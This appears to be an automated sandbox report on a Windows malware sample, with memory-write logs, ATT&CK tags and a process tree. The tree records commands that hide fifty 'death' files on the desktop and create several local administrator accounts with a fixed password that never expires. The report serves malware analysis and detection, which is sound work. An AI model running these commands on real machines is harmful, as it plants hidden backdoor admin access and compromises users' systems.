PID 936 wrote to memory of 2536	936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	94
PID 2536 wrote to memory of 4960	2536	cmd.exe	96
PID 936 wrote to memory of 3288	936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	97
PID 3288 wrote to memory of 4320	3288	cmd.exe	99
PID 936 wrote to memory of 4516	936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	100
PID 4516 wrote to memory of 628	4516	cmd.exe	102
PID 936 wrote to memory of 5044	936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	103
PID 5044 wrote to memory of 5336	5044	cmd.exe	106
PID 936 wrote to memory of 5360	936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	107
PID 5360 wrote to memory of 1100	5360	cmd.exe	109
PID 936 wrote to memory of 5032	936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	110
PID 5032 wrote to memory of 5728	5032	cmd.exe	112
PID 936 wrote to memory of 1456	936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	113
PID 1456 wrote to memory of 1520	1456	cmd.exe	115
PID 936 wrote to memory of 1688	936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	116
PID 1688 wrote to memory of 4356	1688	cmd.exe	118
PID 936 wrote to memory of 2628	936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	119
PID 2628 wrote to memory of 3736	2628	cmd.exe	121
PID 936 wrote to memory of 3780	936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	122
PID 3780 wrote to memory of 5848	3780	cmd.exe	124
PID 936 wrote to memory of 5112	936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	125
PID 5112 wrote to memory of 4240	5112	cmd.exe	127
PID 936 wrote to memory of 3776	936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	128
PID 3776 wrote to memory of 428	3776	cmd.exe	130
PID 936 wrote to memory of 5780	936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	131
PID 5780 wrote to memory of 2420	5780	cmd.exe	133
PID 936 wrote to memory of 4772	936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	134
PID 4772 wrote to memory of 4640	4772	cmd.exe	136
PID 936 wrote to memory of 5564	936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	137
PID 5564 wrote to memory of 1420	5564	cmd.exe	139
PID 936 wrote to memory of 5100	936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	140
PID 5100 wrote to memory of 3168	5100	cmd.exe	142
PID 936 wrote to memory of 952	936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	143
PID 952 wrote to memory of 1492	952	cmd.exe	145
PID 936 wrote to memory of 4384	936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	146
PID 4384 wrote to memory of 1696	4384	cmd.exe	148
PID 936 wrote to memory of 5000	936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	149
PID 5000 wrote to memory of 2552	5000	cmd.exe	151
PID 936 wrote to memory of 1660	936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	152
PID 1660 wrote to memory of 5088	1660	cmd.exe	154
PID 936 wrote to memory of 6064	936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	155
PID 6064 wrote to memory of 1588	6064	cmd.exe	157
PID 936 wrote to memory of 5220	936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	158
PID 5220 wrote to memory of 1700	5220	cmd.exe	160
PID 936 wrote to memory of 3932	936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	161
PID 3932 wrote to memory of 3764	3932	cmd.exe	163
PID 936 wrote to memory of 5096	936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	164
PID 5096 wrote to memory of 5376	5096	cmd.exe	166
PID 936 wrote to memory of 4844	936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	167
PID 4844 wrote to memory of 6040	4844	cmd.exe	169
PID 936 wrote to memory of 1676	936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	170
PID 1676 wrote to memory of 2564	1676	cmd.exe	172
PID 936 wrote to memory of 3592	936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	173
PID 3592 wrote to memory of 3872	3592	cmd.exe	175
PID 936 wrote to memory of 2848	936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	176
PID 2848 wrote to memory of 5260	2848	cmd.exe	178
PID 936 wrote to memory of 4256	936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	179
PID 4256 wrote to memory of 5084	4256	cmd.exe	181
PID 936 wrote to memory of 4424	936	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	182

Views/modifies file attributes 1 TTPs 50 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4224	attrib.exe
5848	attrib.exe
1420	attrib.exe
1492	attrib.exe
6040	attrib.exe
5768	attrib.exe
5068	attrib.exe
2584	attrib.exe
3376	attrib.exe
4960	attrib.exe
1100	attrib.exe
5728	attrib.exe
2552	attrib.exe
1700	attrib.exe
1692	attrib.exe
1228	attrib.exe
5308	attrib.exe
5116	attrib.exe
5376	attrib.exe
4824	attrib.exe
4240	attrib.exe
428	attrib.exe
4640	attrib.exe
3972	attrib.exe
2284	attrib.exe
5868	attrib.exe
3872	attrib.exe
4988	attrib.exe
4568	attrib.exe
5516	attrib.exe
3168	attrib.exe
1696	attrib.exe
4104	attrib.exe
4172	attrib.exe
4888	attrib.exe
1520	attrib.exe
2420	attrib.exe
5088	attrib.exe
1588	attrib.exe
3764	attrib.exe
5260	attrib.exe
1504	attrib.exe
2304	attrib.exe
2564	attrib.exe
3736	attrib.exe
4320	attrib.exe
628	attrib.exe
5336	attrib.exe
4356	attrib.exe
5084	attrib.exe

C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
"C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2424
- C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
  C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
  2⤵
  - Drops startup file
  - Loads dropped DLL
  - Sets desktop wallpaper using registry
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:936
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death1.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:4148
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death1.txt
      4⤵
      Views/modifies file attributes
      PID:5516
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death2.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:4124
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death2.txt
      4⤵
      Views/modifies file attributes
      PID:5116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death3.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:2536
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death3.txt
      4⤵
      Views/modifies file attributes
      PID:4960
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death4.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:3288
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death4.txt
      4⤵
      Views/modifies file attributes
      PID:4320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death5.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:4516
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death5.txt
      4⤵
      Views/modifies file attributes
      PID:628
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death6.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:5044
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death6.txt
      4⤵
      Views/modifies file attributes
      PID:5336
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death7.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:5360
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death7.txt
      4⤵
      Views/modifies file attributes
      PID:1100
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death8.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:5032
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death8.txt
      4⤵
      Views/modifies file attributes
      PID:5728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death9.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:1456
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death9.txt
      4⤵
      Views/modifies file attributes
      PID:1520
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death10.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:1688
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death10.txt
      4⤵
      Views/modifies file attributes
      PID:4356
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death11.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:2628
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death11.txt
      4⤵
      Views/modifies file attributes
      PID:3736
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death12.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:3780
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death12.txt
      4⤵
      Views/modifies file attributes
      PID:5848
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death13.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:5112
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death13.txt
      4⤵
      Views/modifies file attributes
      PID:4240
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death14.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:3776
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death14.txt
      4⤵
      Views/modifies file attributes
      PID:428
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death15.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:5780
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death15.txt
      4⤵
      Views/modifies file attributes
      PID:2420
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death16.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:4772
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death16.txt
      4⤵
      Views/modifies file attributes
      PID:4640
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death17.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:5564
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death17.txt
      4⤵
      Views/modifies file attributes
      PID:1420
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death18.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:5100
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death18.txt
      4⤵
      Views/modifies file attributes
      PID:3168
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death19.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:952
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death19.txt
      4⤵
      Views/modifies file attributes
      PID:1492
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death20.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:4384
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death20.txt
      4⤵
      Views/modifies file attributes
      PID:1696
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death21.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:5000
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death21.txt
      4⤵
      Views/modifies file attributes
      PID:2552
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death22.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:1660
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death22.txt
      4⤵
      Views/modifies file attributes
      PID:5088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death23.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:6064
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death23.txt
      4⤵
      Views/modifies file attributes
      PID:1588
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death24.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:5220
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death24.txt
      4⤵
      Views/modifies file attributes
      PID:1700
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death25.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:3932
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death25.txt
      4⤵
      Views/modifies file attributes
      PID:3764
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death26.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:5096
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death26.txt
      4⤵
      Views/modifies file attributes
      PID:5376
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death27.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:4844
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death27.txt
      4⤵
      Views/modifies file attributes
      PID:6040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death28.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:1676
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death28.txt
      4⤵
      Views/modifies file attributes
      PID:2564
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death29.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:3592
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death29.txt
      4⤵
      Views/modifies file attributes
      PID:3872
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death30.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:2848
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death30.txt
      4⤵
      Views/modifies file attributes
      PID:5260
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death31.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:4256
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death31.txt
      4⤵
      Views/modifies file attributes
      PID:5084
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death32.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:4424
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death32.txt
      4⤵
      Views/modifies file attributes
      PID:1504
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death33.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:3560
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death33.txt
      4⤵
      Views/modifies file attributes
      PID:4104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death34.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:4796
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death34.txt
      4⤵
      Views/modifies file attributes
      PID:4172
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death35.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:2208
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death35.txt
      4⤵
      Views/modifies file attributes
      PID:4224
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death36.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:4992
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death36.txt
      4⤵
      Views/modifies file attributes
      PID:4888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death37.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:504
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death37.txt
      4⤵
      Views/modifies file attributes
      PID:5768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death38.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:3028
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death38.txt
      4⤵
      Views/modifies file attributes
      PID:2304
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death39.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:576
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death39.txt
      4⤵
      Views/modifies file attributes
      PID:3972
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death40.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:2392
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death40.txt
      4⤵
      Views/modifies file attributes
      PID:2284
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death41.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:4376
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death41.txt
      4⤵
      Views/modifies file attributes
      PID:4824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death42.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:4156
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death42.txt
      4⤵
      Views/modifies file attributes
      PID:5068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death43.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:1180
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death43.txt
      4⤵
      Views/modifies file attributes
      PID:1692
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death44.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:5824
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death44.txt
      4⤵
      Views/modifies file attributes
      PID:2584
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death45.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:2608
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death45.txt
      4⤵
      Views/modifies file attributes
      PID:1228
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death46.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:5164
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death46.txt
      4⤵
      Views/modifies file attributes
      PID:4988
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death47.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:2080
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death47.txt
      4⤵
      Views/modifies file attributes
      PID:4568
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death48.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:2376
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death48.txt
      4⤵
      Views/modifies file attributes
      PID:3376
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death49.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:5296
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death49.txt
      4⤵
      Views/modifies file attributes
      PID:5308
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death50.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:6080
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death50.txt
      4⤵
      Views/modifies file attributes
      PID:5868
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user death1 P@ssw0rd!123 /add /active:yes"
    3⤵
    PID:3412
  - - C:\Windows\system32\net.exe
      net user death1 P@ssw0rd!123 /add /active:yes
      4⤵
      Creates a new local user account
      PID:4448
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user death1 P@ssw0rd!123 /add /active:yes
        5⤵
        Creates a new local user account
        
        PID:3488
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators death1 /add"
    3⤵
    PID:2588
  - - C:\Windows\system32\net.exe
      net localgroup Administrators death1 /add
      4⤵
      PID:4676
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators death1 /add
        5⤵
        
        PID:4748
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic useraccount where name=\"death1\" set PasswordExpires=False"
    3⤵
    PID:3188
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic useraccount where name=\"death1\" set PasswordExpires=False
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:876
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user death2 P@ssw0rd!123 /add /active:yes"
    3⤵
    PID:4352
  - - C:\Windows\system32\net.exe
      net user death2 P@ssw0rd!123 /add /active:yes
      4⤵
      Creates a new local user account
      PID:2356
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user death2 P@ssw0rd!123 /add /active:yes
        5⤵
        Creates a new local user account
        
        PID:5500
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators death2 /add"
    3⤵
    PID:1796
  - - C:\Windows\system32\net.exe
      net localgroup Administrators death2 /add
      4⤵
      PID:1964
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators death2 /add
        5⤵
        
        PID:3888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic useraccount where name=\"death2\" set PasswordExpires=False"
    3⤵
    PID:3764
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic useraccount where name=\"death2\" set PasswordExpires=False
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1804
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user death3 P@ssw0rd!123 /add /active:yes"
    3⤵
    PID:3784
  - - C:\Windows\system32\net.exe
      net user death3 P@ssw0rd!123 /add /active:yes
      4⤵
      Creates a new local user account
      PID:4816
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user death3 P@ssw0rd!123 /add /active:yes
        5⤵
        Creates a new local user account
        
        PID:3656
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators death3 /add"
    3⤵
    PID:4304
  - - C:\Windows\system32\net.exe
      net localgroup Administrators death3 /add
      4⤵
      PID:2564
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators death3 /add
        5⤵
        
        PID:2624
- - C:\Windows\system32\cmd.exe
